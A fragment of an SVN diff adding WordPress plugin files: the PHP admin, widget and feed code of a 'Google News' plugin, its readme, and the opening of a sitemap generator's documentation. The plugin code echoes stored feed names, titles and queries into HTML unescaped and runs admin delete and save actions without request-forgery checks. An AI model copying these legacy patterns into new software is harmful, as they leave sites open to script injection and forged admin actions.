+                                            $flipnewstypes[$newoptions['newstype']];
+
+                if ( $alloptions['feeds'][$id] == $newoptions ) {
+                    $text = 'No change...';
+                    $mode = 'main';
+                } else {
+                    $alloptions['feeds'][$id] = $newoptions;
+                    update_option('google_news', $alloptions);
+ 
+                    $mode = 'save';
+                }
+            } else if ( is_array($_POST) && $_POST['google_news-options-cachetime-submit'] ) {
+                if ( $_POST['google_news-options-cachetime'] != $alloptions['cachetime'] ) {
+                    $alloptions['cachetime'] = $_POST['google_news-options-cachetime'];
+                    update_option('google_news', $alloptions);
+                    $text = "Cache time changed to {$alloptions[cachetime]} seconds.";
+                } else {
+                    $text = "No change in cache time...";
+                }
+                $mode = 'main';
+            }
+
+            if ( $mode == 'newfeed' ) {
+                $newfeed = 0;
+                foreach ($alloptions['feeds'] as $k => $v) {
+                    if ( $k > $newfeed ) {
+                        $newfeed = $k;
+                    }
+                }
+                $newfeed += 1;
+
+                $text = "Please configure new feed and press Save.";
+                $mode = 'main';
+            }
+
+            if ( $mode == 'save' ) {
+                $text = "Saved feed {$alloptions[feeds][$id][name]} [$id].";
+                $mode = 'main';
+            }
+
+            if ( $mode == 'edit' ) {
+                if ( ! empty($text) ) {
+                     echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.$text.'</p></div>';
+                }
+                $text = "Editing feed {$alloptions[feeds][$id][name]} [$id].";
+
+                $edit_id = $id;
+                $mode = 'main';
+            }
+
+            if ( $mode == 'delete' ) {
+
+                $text = "Deleted feed {$alloptions[feeds][$id][name]} [$id].";
+                
+                unset($alloptions['feeds'][$id]);
+
+                update_option('google_news', $alloptions);
+ 
+                $mode = 'main';
+            }
+
+            // main
+            if ( empty($mode) or ($mode == 'main') ) {
+
+                if ( ! empty($text) ) {
+                     echo '<!-- Last Action --><div id="message" class="updated fade"><p>'.$text.'</p></div>';
+                }
+                print '<div class="wrap">';
+                print ' <h2>';
+                print _e('Manage Google News Feeds','google_news');
+                print '</h2>';
+                print ' <table id="the-list-x" width="100%" cellspacing="3" cellpadding="3">';
+                print '  <thead>';
+                print '   <tr>';
+                print '    <th scope="col">';
+                print _e('Key','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Name','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Admin-defined title','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Region','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Type','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Output','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Item length','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Max items','google_news');
+                print '</th>';
+                print '    <th scope="col">';
+                print _e('Optional query filter','google_news');
+                print '</th>';
+                print '    <th scope="col" colspan="3">';
+                print _e('Action','google_news');
+                print '</th>';
+                print '   </tr>';
+                print '  </thead>';
+
+                if (get_bloginfo('version') >= '2.7') {
+                    $manage_page = 'tools.php';
+                } else {
+                    $manage_page = 'edit.php';
+                }
+
+                if ( $alloptions['feeds'] || $newfeed ) {
+                    $i = 0;
+
+                    foreach ($alloptions['feeds'] as $key => $val) {
+                        if ( $i % 2 == 0 ) {
+                            print '<tr class="alternate">';
+                        } else {
+                            print '<tr>';
+                        }
+                        if ( isset($edit_id) && $edit_id == $key ) {
+                            print "<form name=\"google_news_options\" action=\"".
+                                  htmlspecialchars($_SERVER['REQUEST_URI']).
+                                  "\" method=\"post\" id=\"google_news_options\">";
+                                    
+                            print "<th scope=\"row\">".$key."</th>";
+                            print '<td><input size="10" maxlength="20" id="google_news-name" name="google_news-name" type="text" value="'.$val['name'].'" /></td>';
+                            print '<td><input size="20" maxlength="20" id="google_news-title" name="google_news-title" type="text" value="'.$val['title'].'" /></td>';
+                            print '<td><select name="google_news-region">';
+                            $region = $val['region'];
+                            foreach ($this->regions as $k => $v) {
+                                print '<option '.(strcmp($v,$region)?'':'selected').' value="'.$v.'" >'.$k.'</option>';
+                            }
+                            print '</select></td>';
+                            print '<td><select name="google_news-newstype">';
+                            $newstype = $val['newstype'];
+                            foreach ($this->newstypes as $k => $v) {
+                                print '<option '.(strcmp($v,$newstype)?'':'selected').' value="'.$v.'" >'.$k.'</option>';
+                            }
+                            print '</select></td>';
+                            print '<td><select name="google_news-outputtype">';
+                            $outputtype = $val['outputtype'];
+                            foreach ($this->outputtypes as $k => $v) {
+                                print '<option '.(strcmp($v,$outputtype)?'':'selected').' value="'.$v.'" >'.$k.'</option>';
+                            }
+                            print '</select></td>';
+                            print '<td><select name="google_news-desctype">';
+                            $desctype = $val['desctype'];
+                            foreach ($this->desctypes as $k => $v) {
+                                print '<option '.(strcmp($v,$desctype)?'':'selected').' value="'.$v.'" >'.$k.'</option>';
+                            }
+                            print '</select></td>';
+                            print '<td><input size="3" maxlength="3" id="google_news-numnews" name="google_news-numnews" type="text" value="'.$val['numnews'].'" /></td>';
+                            print '<td><input size="10" maxlength="50" id="google_news-query" name="google_news-query" type="text" value="'.$val['query'].'" /></td>';
+                            print '<td><input type="submit" value="Save  &raquo;">';
+                            print "</td>";
+                            print "<input type=\"hidden\" id=\"google_news-id\" name=\"google_news-id\" value=\"$edit_id\" />";
+                            print "<input type=\"hidden\" id=\"google_news-submit\" name=\"google_news-submit\" value=\"1\" />";
+                            print "</form>";
+                        } else {
+                            print "<th scope=\"row\">".$key."</th>";
+                            print "<td>".$val['name']."</td>";
+                            print "<td>".$val['title']."</td>";
+                            print "<td>".$flipregions[$val['region']]."</td>";
+                            print "<td>".$flipnewstypes[$val['newstype']]."</td>";
+                            print "<td>".$flipoutputtypes[$val['outputtype']]."</td>";
+                            print "<td>".$flipdesctypes[$val['desctype']]."</td>";
+                            print "<td>".$val['numnews']."</td>";
+                            print "<td>".$val['query']."</td>";
+                            print "<td><a href=\"$manage_page?page=google-news/google_news.php&amp;mode=edit&amp;id=$key\" class=\"edit\">";
+                            print __('Edit','google_news');
+                            print "</a></td>\n";
+                            print "<td><a href=\"$manage_page?page=google-news/google_news.php&amp;mode=delete&amp;id=$key\" class=\"delete\" onclick=\"javascript:check=confirm( '".__("This feed entry will be erased. Delete?",'google_news')."');if(check==false) return false;\">";
+                            print __('Delete', 'google_news');
+                            print "</a></td>\n";
+                        }
+                        print '</tr>';
+
+                        $i++;
+                    }
+                    if ( $newfeed ) {
+
+                        print "<form name=\"google_news_options\" action=\"".
+                              htmlspecialchars($_SERVER['REQUEST_URI']).
+                              "\" method=\"post\" id=\"google_news_options\">";
+                                
+                        print "<th scope=\"row\">".$newfeed."</th>";
+                        print '<td><input size="10" maxlength="20" id="google_news-name" name="google_news-name" type="text" value="NEW" /></td>';
+                        print '<td><input size="20" maxlength="20" id="google_news-title" name="google_news-title" type="text" value="" /></td>';
+                        print '<td><select name="google_news-region">';
+                        $region = 'us';
+                        foreach ($this->regions as $k => $v) {
+                            print '<option '.(strcmp($v,$region)?'':'selected').' value="'.$v.'" >'.$k.'</option>';
+                        }
+                        print '</select></td>';
+                        print '<td><select name="google_news-newstype">';
+                        foreach ($this->newstypes as $k => $v) {
+                            print '<option value="'.$v.'" >'.$k.'</option>';
+                        }
+                        print '</select></td>';
+                        print '<td><select name="google_news-outputtype">';
+                        foreach ($this->outputtypes as $k => $v) {
+                            print '<option value="'.$v.'" >'.$k.'</option>';
+                        }
+                        print '</select></td>';
+                        print '<td><select name="google_news-desctype">';
+                        foreach ($this->desctypes as $k => $v) {
+                            print '<option value="'.$v.'" >'.$k.'</option>';
+                        }
+                        print '</select></td>';
+                        print '<td><input size="3" maxlength="3" id="google_news-numnews" name="google_news-numnews" type="text" value="5" /></td>';
+                        print '<td><input size="10" maxlength="50" id="google_news-query" name="google_news-query" type="text" value="" /></td>';
+                        print '<td><input type="submit" value="Save  &raquo;">';
+                        print "</td>";
+                        print "<input type=\"hidden\" id=\"google_news-id\" name=\"google_news-id\" value=\"$newfeed\" />";
+                        print "<input type=\"hidden\" id=\"google_news-newfeed\" name=\"google_news-newfeed\" value=\"1\" />";
+                        print "<input type=\"hidden\" id=\"google_news-submit\" name=\"google_news-submit\" value=\"1\" />";
+                        print "</form>";
+                    } else {
+                        print "</tr><tr><td colspan=\"12\"><a href=\"$manage_page?page=google-news/google_news.php&amp;mode=newfeed\" class=\"newfeed\">";
+                        print __('Add extra feed','google_news');
+                        print "</a></td></tr>";
+
+                    }
+                } else {
+                    print '<tr><td colspan="12" align="center"><b>';
+                    print __('No feeds found(!)','google_news');
+                    print '</b></td></tr>';
+                    print "</tr><tr><td colspan=\"12\"><a href=\"$manage_page?page=google-news/google_news.php&amp;mode=newfeed\" class=\"newfeed\">";
+                    print __('Add feed','google_news');
+                    print "</a></td></tr>";
+                }
+                print ' </table>';
+                print '<h2>';
+                print _e('Global configuration parameters','google_news');
+                print '</h2>';
+                print ' <form method="post">';
+                print ' <table id="the-cachetime" cellspacing="3" cellpadding="3">';
+                print '<tr><td><b>Cache time:</b></td>';
+                print '<td><input size="6" maxlength="6" id="google_news-options-cachetime" name="google_news-options-cachetime" type="text" value="'.$alloptions['cachetime'].'" /> seconds</td>';
+                print '<input type="hidden" id="google_news-options-cachetime-submit" name="google_news-options-cachetime-submit" value="1" />';
+                print '<td><input type="submit" value="Save  &raquo;"></td></tr>';
+                print ' </table>';
+                print '</form>'; 
+
+                print '<h2>';
+                print _e('Information','google_news');
+                print '</h2>';
+                print ' <table id="the-list-x" width="100%" cellspacing="3" cellpadding="3">';
+                print '<tr><td><b>Key</b></td><td>Unique identifier used internally.</td></tr>';
+                print '<tr><td><b>Name</b></td><td>Optional name to be able to reference a specific feed as e.g. ';
+                print ' <b>&lt;!--google_news#myname--&gt;</b>. ';
+                print ' If more than one feed shares the same name, a random among these will be picked each time. ';
+                print ' The one(s) without a name will be treated as the default feed(s), i.e. used for <b>&lt;!--google_news--&gt;</b> ';
+                print ' or widget feed type <b>*DEFAULT*</b>. If you have Wordpress 2.5 ';
+                print ' or above, you can also use Shortcodes on the form <b>[google-news]</b> ';
+                print ' (for default feed) or <b>[google-news name="feedname"]</b>. And finally ';
+                print ' you can use <b>do_action(\'google_news\');</b> or <b>do_action(\'google_news\', \'feedname\');</b> ';
+                print ' in themes.</td></tr>';
+                print '<tr><td><b>Admin-defined title</b></td><td>Optional feed title. If not set, a reasonable title based on ';
+                print 'Region and Type will be used. Note Google Terms of Service require you to show that the feeds come from ';
+                print 'Google News.</td></tr>';
+                print '<tr><td><b>Region</b></td><td>The region/language of the feed.</td></tr>';
+                print '<tr><td><b>Type</b></td><td>The type of news to present.</td></tr>';
+                print '<tr><td><b>Output</b></td><td>Text only, allow for images or images with most news items. Note that ';
+                print 'there will be text in all three cases.</td></tr>';
+                print '<tr><td><b>Item length</b></td><td>Single sentence news items or 2-3 lines of text.</td></tr>';
+                print '<tr><td><b>Max items</b></td><td>Maximum number of news items to show for this feed. If the feed contains ';
+                print 'less than the requested items, only the number of items in the feed will obviously be displayed.</td></tr>';
+                print '<tr><td><b>Optional query filter</b></td><td>Pass the requested news through a query filter for very ';
+                print 'detailed control over the type of news to show. E.g. only sports news about the Yankees.</td></tr>';
+                print '<tr><td colspan="12">In all cases, output will depend on original news source and can and will ';
+                print 'differ from source to source. Google hasn\'t really done a great job with respect to formatting. ';
+                print 'Note specifically that a query filter will change the output slightly, as this is how Google wants it.</td></tr>';
+                print '<tr><td><b>Cache time</b></td><td>Minimum number of seconds that WordPress should cache a Google News feed before fetching it again.</td></tr>';
+                print ' </table>';
+                print '</div>';
+            }
+        }
+
+        // ************* Output *****************
+
+        // The function that gets called from themes
+        function display_feed($data) {
+	    global $settings;
+	    $settings = get_option('google_news');
+            print $this->random_feed($data);
+            unset($settings);
+        }
+
+        // Callback for inline replacement
+        function insert_news($data) {
+            global $settings;
+
+            // Allow for multi-feed sites
+            $tag = '/<!--google-news(|#.*?)-->/';
+
+            // We may have old style options
+            $this->upgrade_options();
+
+            // Avoid getting this for each callback
+            $settings   = get_option('google_news');
+
+            $result = preg_replace_callback($tag, 
+                              array(&$this, 'inline_replace_callback'), $data);
+
+            unset($settings);
+
+            return $result;
+        }
+
+
+        // *********** Widget support **************
+        function widget_init() {
+
+            // Check for the required plugin functions. This will prevent fatal
+            // errors occurring when you deactivate the dynamic-sidebar plugin.
+            if ( !function_exists('register_sidebar_widget') )
+                return;
+
+            register_widget_control('Google News', 
+                                   array(&$this, 'widget_control'), 200, 100);
+
+            // wp_* has more features, presumably fixed at a later date
+            register_sidebar_widget('Google News',
+                                   array(&$this, 'widget_output'));
+
+        }
+
+        function widget_control() {
+
+            // We may have old style options
+            $this->upgrade_options();
+
+            $alloptions = get_option('google_news');
+            $thisfeed = $alloptions['widget-1'];
+
+            print '<p><label for="google_news-feed">Select feed:</label>';
+            print '<select style="vertical-align:middle;" name="google_news-widget-feed">';
+
+            $allfeeds = array();
+            foreach ($alloptions['feeds'] as $k => $v) {
+                $allfeeds[strlen($v['name'])?$v['name']:'*DEFAULT*'] = 1;
+            } 
+            foreach ($allfeeds as $k => $v) {
+                print '<option '.($k==$thisfeed?'':'selected').' value="'.$k.'" >'.$k.'</option>';
+            }
+            print '</select><p>';
+            print '<input type="hidden" id="google_news-widget-submit" name="google_news-widget-submit" value="1" />';
+
+
+        }
+
+        // Called every time we want to display ourselves as a sidebar widget
+        function widget_output($args) {
+            extract($args); // Gives us $before_ and $after_ I presume
+                        
+            // We may have old style options
+            $this->upgrade_options();
+
+            $alloptions = get_option('google_news');
+            $matching_feeds = array();
+            foreach ($alloptions['feeds'] as $k => $v) {
+                if ( (string)$v['name'] == $alloptions['widget-1'] ) { 
+                    $matching_feeds[] = $k;
+                } 
+            }
+            if ( ! count($matching_feeds) ) {
+                if ( ! strlen($alloptions['widget-1']) ) {
+                    $content = '<ul><b>No default feed available</b></ul>';
+                } else {
+                    $content = "<ul>Unknown feed name <b>{$alloptions[widget-1]}</b> used</ul>";
+                }
+                echo $before_widget;
+                echo $before_title . __('Google News<br>Error','google_news') . $after_title . '<div>';
+                echo $content;
+                echo '</div>' . $after_widget;
+                return;
+            }
+            $feed_id = $matching_feeds[rand(0, count($matching_feeds)-1)];
+            $options = $alloptions['feeds'][$feed_id];
+
+            $feedtype   = $options['feedtype'];
+            $cachetime  = $alloptions['cachetime'];
+
+            if ( strlen($options['title']) ) {
+                $title = $options['title'];
+            } else {
+                $title = 'Google News<br>'.$feedtype;
+            }
+
+            echo $before_widget;
+            echo $before_title . $title . $after_title . '<div>';
+            echo $this->get_feed($options, $cachetime);
+            echo '</div>' . $after_widget;
+        }
+
+        // ************** The actual work ****************
+        function get_feed(&$options, $cachetime) {
+
+            if ( ! isset($options['region']) ) {
+                return 'Options not set, visit plugin configuation screen.'; 
+            }
+
+            $region     = $options['region'] ? $options['region'] : 'us';
+            $newstype   = $options['newstype'];
+            $outputtype = $options['outputtype'];
+            $query      = $options['query'];
+            $numnews    = $options['numnews'] ? $options['numnews'] : 5;
+            $desctype   = $options['desctype'];
+
+            $result = '<ul>';
+            $feedurl = 'http://news.google.com/news?output=rss';
+
+            // This will also handle mixed mode text/image, when
+            // we get the parsing under control...
+            if ( $outputtype == 't' ) { 
+                $region = 't'.$region;  // Consistent API, wassat?
+            } else if ( strlen($outputtype) ) {
+                $feedurl .= $outputtype;
+            }
+            $feedurl .= "&ned=$region"; 
+            if ( strlen($newstype) ) {
+                $feedurl .= "&topic=$newstype";
+            }
+            if ( strlen($query) ) {
+                if ( substr($query,0,3) == 'OR ' ) {
+                    $squery = urlencode(strtolower(substr($query,3)));
+                    $feedurl .= "&as_oq=$squery";
+                } else {
+                    $squery = urlencode(strtolower($query));
+                    $feedurl .= "&q=$squery";
+                }
+            }
+
+            // Using the WP RSS fetcher (MagpieRSS). It has serious
+            // GC problems though.
+            define('MAGPIE_CACHE_AGE', $cachetime);
+            define('MAGPIE_CACHE_ON', 1);
+            define('MAGPIE_DEBUG', 1);
+
+            $rss = fetch_rss($feedurl);
+
+            if ( ! is_object($rss) ) {
+                return 'Google News unavailable</ul>';
+            }
+            $rss->items = array_slice($rss->items, 0, $numnews);
+            foreach ( $rss->items as $item ) {
+                $description = $this->html_decode($item['description']);
+
+                // All this is bound to break, but Google 
+                // doesn't know usable markup from squat
+    
+                // As per Google TOC, we need to retain related link
+                preg_match('|(<a class=p [^>]+><nobr>[^<]+</nobr></a>)|', 
+                           $description, $related);
+        
+                // Try some tricks to lose useless markup
+                $bloc = strpos($description, '<font');
+                if ( $bloc ) {
+                    $description = substr($description, $bloc);
+                }
+                $eloc = strpos($description, '<a href=',
+                                        strpos($description, '<a href=')+1);
+                if ( $eloc ) {
+                    $description = substr($description,0,$eloc);
+                }
+        
+                // No markup in tooltips
+                $tooltip = preg_replace('/<[^>]+>/','',$description);
+                $patterns = array(
+                            '/<(td|tr|table|div|font|ul|li)[^>]*>/',
+                            '/<.(td|tr|table|div|font|ul|li)[^>]*>/',
+                            );
+                $replacements = array(
+                            '',
+                            '',
+                            );
+                $description = preg_replace($patterns, $replacements, 
+                                            $description);
+                $description = preg_replace('|<br>|', '', $description, 1);
+                $description = preg_replace('|(<img src[^>]+>)<br>([^<]+</a>)|',
+                                            '\\1\\2<br>', $description, 1);
+                $description = preg_replace('|</div><br><div|', '</div><div', 
+                                            $description);
+                $description .= $related[1];
+
+                $title = $this->html_decode($item['title']);
+                $date = $item['pubdate'];
+                $link = $item['link'];
+                if ( strlen($desctype) ) {
+                    $result .= "<li>$description</li>";
+                } else {
+                        $result .= "<li><a href=\"$link\" target=\"_blank\" ".
+                                   "title=\"$tooltip\">$title<br>$related[1]</a></li>";
+                }
+            } 
+            return $result.'</ul>';
+        }
+
+        // *********** Shortcode support **************
+        function my_shortcode_handler($atts, $content=null) {
+            global $settings;
+            $settings = get_option('google_news');
+            return $this->random_feed($atts['name']);
+            unset($settings);
+        }
+
+        
+        // *********** inline replacement callback support **************
+        function inline_replace_callback($matches) {
+
+            if ( ! strlen($matches[1]) ) { // Default
+                $feedname = '';
+            } else {
+                $feedname = substr($matches[1], 1); // Skip #
+            }
+            return $this->random_feed($feedname);
+        }
+
+        // ************** Support functions ****************
+
+        function random_feed($name) {
+            global $settings;
+
+            $matching_feeds = array();
+            foreach ($settings['feeds'] as $k => $v) {
+                if ( (string)$v['name'] == $name ) { 
+                    $matching_feeds[] = $k;
+                } 
+            }
+            if ( ! count($matching_feeds) ) {
+                if ( ! strlen($name) ) {
+                    return '<ul><b>No default feed available</b></ul>';
+                } else {
+                    return "<ul>Unknown feed name <b>$name</b> used</ul>";
+                }
+            }
+            $feed_id = $matching_feeds[rand(0, count($matching_feeds)-1)];
+            $feed = $settings['feeds'][$feed_id];
+
+            if ( strlen($feed['title']) ) {
+                $title = $feed['title'];
+            } else {
+                $title = 'Google News : '.$feed['feedtype'];
+            }
+
+            $result = '<!-- Start Google News code -->';
+            $result .= "<div id=\"google-news-inline\"><h3>$title</h3>";
+            $result .= $this->get_feed($feed, $settings['cachetime']);
+            $result .= '</div><!-- End Google News code -->';
+            return $result;
+        }
+
+        function html_decode($in) {
+            $patterns = array(
+                '/&amp;/',
+                '/&quot;/',
+                '/&lt;/',
+                '/&gt;/',
+            );
+            $replacements = array(
+                '&',
+                '"',
+                '<',
+                '>',
+            );
+            $tmp = preg_replace($patterns, $replacements, $in);
+            return preg_replace('/&#39;/','\'',$tmp);
+
+        }
+
+        // Unfortunately, we didn't finalize on a data structure
+        // until version 2.1ish of the plugin so we need to upgrade
+        // if needed
+        function upgrade_options() {
+            $options = get_option('google_news');
+
+            if ( !is_array($options) ) {
+
+                // From 1.0
+                $oldoptions = get_option('widget_google_news_widget');
+                if ( is_array($oldoptions) ) {
+                    $flipregions     = array_flip($this->regions);
+                    $flipnewstypes   = array_flip($this->newstypes);
+
+                    $tmpfeed = array();
+                    $tmpfeed['title']      = $oldoptions['title'];
+                    $tmpfeed['name']       = '';
+                    $tmpfeed['numnews']    = $oldoptions['numnews'];
+                    $tmpfeed['region']     = $oldoptions['region'];
+                    $tmpfeed['newstype']   = $oldoptions['newstype'];
+                    $tmpfeed['outputtype'] = $oldoptions['outputtype'];
+                    $tmpfeed['query']      = $oldoptions['query'];
+                    $tmpfeed['feedtype']   = $flipregions[$tmpfeed['region']].
+                                             ' : '.
+                                             $flipnewstypes[$tmpfeed['newstype']];
+
+                    $options = array();
+                    $options['feeds']     = array( $tmpfeed );
+                    $options['widget-1']  = 0;
+                    $options['cachetime'] = 300;
+                    
+                    delete_option('widget_google_news_widget');
+                    update_option('google_news', $options);
+                } else {
+                    // First time ever
+                    $options = array();
+                    $options['feeds']     = array( $this->default_feed() );
+                    $options['widget-1']  = 0;
+                    $options['cachetime'] = 300;
+                    update_option('google_news', $options);
+                }
+            } else {
+                // From 2.0/2.0.1 to 2.1
+                if ( array_key_exists('region', $options) ) {
+                    $newoptions = array('feeds' => array( $options));
+                    $newoptions['feeds'][0]['name'] = '';
+                    $newoptions['widget-1']         = 0;
+                    $newoptions['cachetime']        = 300;
+                    update_option('google_news', $newoptions);
+
+                } else if ( 0 ) {
+                    // Messed up options, start from scratch
+                    $options = array();
+                    $options['feeds']     = array( $this->default_feed() );
+                    $options['widget-1']  = 0;
+                    $options['cachetime'] = 300;
+                    update_option('google_news', $options);
+                }
+            }
+        }
+
+        function default_feed() {
+            return array( 'numnews' => 5,
+                          'region' => 'us',
+                          'name' => '',
+                          'feedtype' => 'U.S. : All');
+        }
+    }
+
+    // Instantiate
+    $google_news_instance &= new google_news_plugin();
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/readme.txt	(revision 44)
@@ -0,0 +1,188 @@
+=== Google News ===
+Contributors: Olav Kolbu
+Donate link: http://www.kolbu.com/donations/
+Tags: widget, plugin, google, news, google news, rss, feed
+Requires at least: 2.3.3
+Tested up to: 2.8.1
+Stable tag: trunk
+
+Displays news items from selectable Google News RSS feeds, 
+inline, as a widget or in a theme. Multiple feeds allowed. 
+Query filters and caching.
+
+== Description ==
+
+Google aggregates news from over 4500 news sources, updated
+continously. The results can be retrieved as a number of 
+RSS feeds, where you can create your own specific feed by
+specifying one of more than 40 regions/languages, and an
+optional topic ranging from Domestic to Most Popular to
+Entertainment. Currently there are nine topics, including,
+of course, All. In addition to this, any feed can be filtered 
+through a search query so that only news items matching your 
+query will be shown. Note that not all combinations of 
+region/language and topic has been enabled by Google but
+it should degrade gracefully.
+
+This plugin works both as a widget, as inline content
+replacement and can be called from themes. Any number of 
+inline replacements or theme calls allowed, but only one 
+widget instance is supported in this release.
+
+For widget use, simply use the widget as any other after
+selecting which feed it should display. For inline content
+replacement, insert the one or more of the following strings in 
+your content and they will be replaced by the relevant news feed.
+For theme use, add the do_action function call described below.
+
+1. **`<!--google-news-->`** for the default feed
+1. **`<!--google-news#feedname-->`**
+
+Shortcodes can be used if you have WordPress 2.5 or above,
+in which case these replacement methods are also available.
+
+1. **`[google-news]`** for the default feed
+1. **`[google-news name="feedname"]`**
+
+Calling the plugin from a theme is done with the WP do_action()
+system. This will degrade gracefully and not produce errors
+or output if plugin is disabled or removed.
+
+1. **`<?php do_action('google_news'); ?>`** for the default feed
+1. **`<?php do_action('google_news', 'feedname'); ?>`**
+
+Enable plugin, go to the Google News page under 
+Dashboard->Settings and read the initial information. Then 
+go to the Google News page under Dashboard->Manage and 
+configure one or more feeds. Then use a widget or insert
+relevant strings in your content or theme. 
+
+Additional information:
+
+The available options are as follows. 
+
+**Name:** Optional feed name, that can be used in the 
+widget or the inline replacement string to reference
+a specific feed. Any feed without a name is considered
+"default" and will be used if the replacement strings do
+not reference a specific feed. If there are more than
+one feed with the same name, a random of these is picked
+every time it is used. This also applies to the default
+feed(s). 
+
+**Title:** Optional, which when set will be used in the
+widget title or as a header above the news items when 
+inline. If the title is empty, then a default title
+of "Google News : &lt;region&gt; : &lt;feed type&gt;" is used. Note
+that as per Google Terms of Service it is a requirement
+to state that the news come from Google.
+
+**News region:** A dropdown list of 40 choices, determining
+the region/language of the feed. 
+
+**News type:** Another dropdown list, determining what type of
+news you are after. Sci/Tech, Business, Health etc.
+
+**Output type:** Some Google feeds come with just text, 
+some pictures or pictures on nearly every news item. Chose
+which one you want here.
+
+**News item length:** Short or long. The short version is really just 
+the news item title as a one liner but probably the one most 
+WP admins will use. The long version is a 3-4 line teaser that 
+has been severely stripped of useless markup that Google insists 
+on passing along, including tables, links, colour/font/style
+settings etc. I've tried to clean it up so it won't mess up your 
+theme. For the short version, the long text without html tags is 
+available as a mouse rollover/tooltip.
+
+**Max items to show:** As the title says, if the feed has
+sufficient entries to fulfil the request. 
+
+**Optional query filter:** One of the most important parts of
+the Google News RSS Feed is the ability to filter the news
+with your very own search query. Get relevant, up to date
+news on the exact topic you want. Note that if you add a
+search query, then the short item length will include an 
+"all N news articles" link curtesy Google. If you choose
+to add a query, then you most likely want to set a title
+as well. To explain to the viewer what kind of news you have
+selected for them to see. The News Query isn't like a standard
+Google Query, so you can't use || between words to search
+for one or the other. So IFF you start your query with
+the word **OR** then the rest of the words will be or'ed
+together. I.e. a query string of 'OR this that' will look
+for news containing either this or that. This is really 
+just a test, so the actual query language used here may change in 
+future versions. 
+
+
+**Cache time:** The feeds are now fetched using WordPress 
+builtin MagpieRSS system, which allows for caching of feeds
+a specific number of seconds. Cached feeds are stored in
+the backend database.
+
+Clicking on a news item will of course take you via Google to
+the news site with the relevant article, as per Google Terms of Use.
+
+If you want to change the look&feel, the inline table is 
+wrapped in a div with the id "google-news-inline" and the
+widget is wrapped in an li with id "google-news". Let me 
+know if you need more to properly skin it.
+
+**[Download now!](http://downloads.wordpress.org/plugin/google-news.zip)**
+
+[Support](http://www.kolbu.com/2008/04/07/google-news-plugin/)
+
+[Donate](http://www.kolbu.com/donations/)
+
+
+== Installation ==
+
+This section describes how to install the plugin and get it working.
+
+e.g.
+
+1. Unzip into the `/wp-content/plugins/` directory
+1. Activate the plugin through the Dashboard->Plugins admin menu.
+1. See configuation pages under Dashboard->Settings, Dashboard->Tools and on the widget page.
+
+Note if you're upgrading from a previous release, there may be
+some strangeness the first time you edit an old feed. Try again
+and it will work. Or delete the feed and create again, guaranteed
+fix. :-)
+
+== Screenshots ==
+
+1. Widget in action under the Prosumer theme. Note the mouseover showing additional text from the news item.
+2. Small part of the admin Manage page for the plugin.
+3. Inline example under the Prosumer theme, replacing &lt;!--google-news--&gt; in content.
+
+== Changelog ==
+
+1. 1.0 Initial release
+1. 1.1 Removed dependency on PHP 5.1++ functionality.
+    Fixed UTF8-related bugs. 
+    - Not a public release.
+1. 2.0 Rewritten from scratch. Now uses a class to avoid polluting the 
+    name space. Hopefully adhering to best practices plugin writing.
+    Can now be used both as a widget and as inline content replacement.
+1. 2.0.1 Minor bugfix. Options were reset in some circumstances.
+1. 2.1 Major rewrite, again. 
+     Multiple feeds allowed. 
+     Using WP builtin RSS fetching and caching system. 
+     Shortcodes are supported. 
+     Rewrote more PHP5-only code, should now work fine with PHP4
+1. 2.2 Queries starting with OR will use remaining words in query
+     as ORed search. I.e. 'OR this that' will search for this or that.
+     Ability to call plugin from a theme.
+     Bugfixes for admins with db table character sets not matching that
+     of their WordPress install.
+1. 2.3 Fixed problems when plugin was used in themes
+1. 2.4 Fixed WP 2.7 compat problems
+1. 2.4.1 Fixed minor markup glitch
+1. 2.5 Added 25 new languages/locations
+
+Known bugs:
+  - None at this time
+  - Unconfigured feeds are not wrapped in matching html containers. </li?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/documentation.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/documentation.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/documentation.txt	(revision 44)
@@ -0,0 +1,291 @@
+﻿ Google XML Sitemaps Generator for WordPress
+ ==============================================================================
+ 
+ This generator will create a sitemaps.org compliant sitemap of your WordPress blog.
+ Currently homepage, posts, static pages, categories, archives and author pages are supported.
+ 
+ The priority of a post depends on its comments. You can choose the way the priority
+ is calculated in the options screen.
+ 
+ Feel free to visit my website under www.arnebrachhold.de or contact me at
+ himself [at] arnebrachhold [dot] de
+ 
+ Have fun! 
+   Arne
+ 
+ Installation:
+ ==============================================================================
+ 1. Upload the full directory into your wp-content/plugins directory
+ 2. Make your blog directory writeable OR create two files called sitemap.xml 
+    and sitemap.xml.gz and make them writeable via CHMOD In most cases, your blog directory is already writeable.
+ 2. Activate it in the Plugin options
+ 3. Edit or publish a post or click on Rebuild Sitemap on the Sitemap Administration Interface
+  
+ 
+ Additional contributors:
+ ==============================================================================
+ Inspiration            Michael Nguyen      http://www.socialpatterns.com/
+ SQL Improvements       Rodney Shupe        http://www.shupe.ca/
+ Japanse Lang. File     Hirosama            http://hiromasa.zone.ne.jp/
+ Spanish lang. File     César Gómez Martín  http://www.cesargomez.org/
+ Italian lang. File     Stefano Aglietti    http://wordpress-it.it/
+ Trad.Chinese  File     Kirin Lin           http://kirin-lin.idv.tw/
+ Simpl.Chinese File     june6               http://www.june6.cn/
+ Swedish Lang. File     Tobias Bergius      http://tobiasbergius.se/
+ Czech Lang. File       Peter Kahoun        http://kahi.cz
+ Finnish Lang. File	Olli Jarva          http://kuvat.blog.olli.jarva.fi/ 
+ Belorussian Lang. File Marcis Gasuns
+ Bulgarian Lang. File   Alexander Dichev    http://dichev.com
+ Ping Code Template 1   James               http://www.adlards.com/
+ Ping Code Template 2   John                http://www.jonasblog.com/
+ Bug Report             Brad                http://h3h.net/
+ Bug Report             Christian Aust      http://publicvoidblog.de/
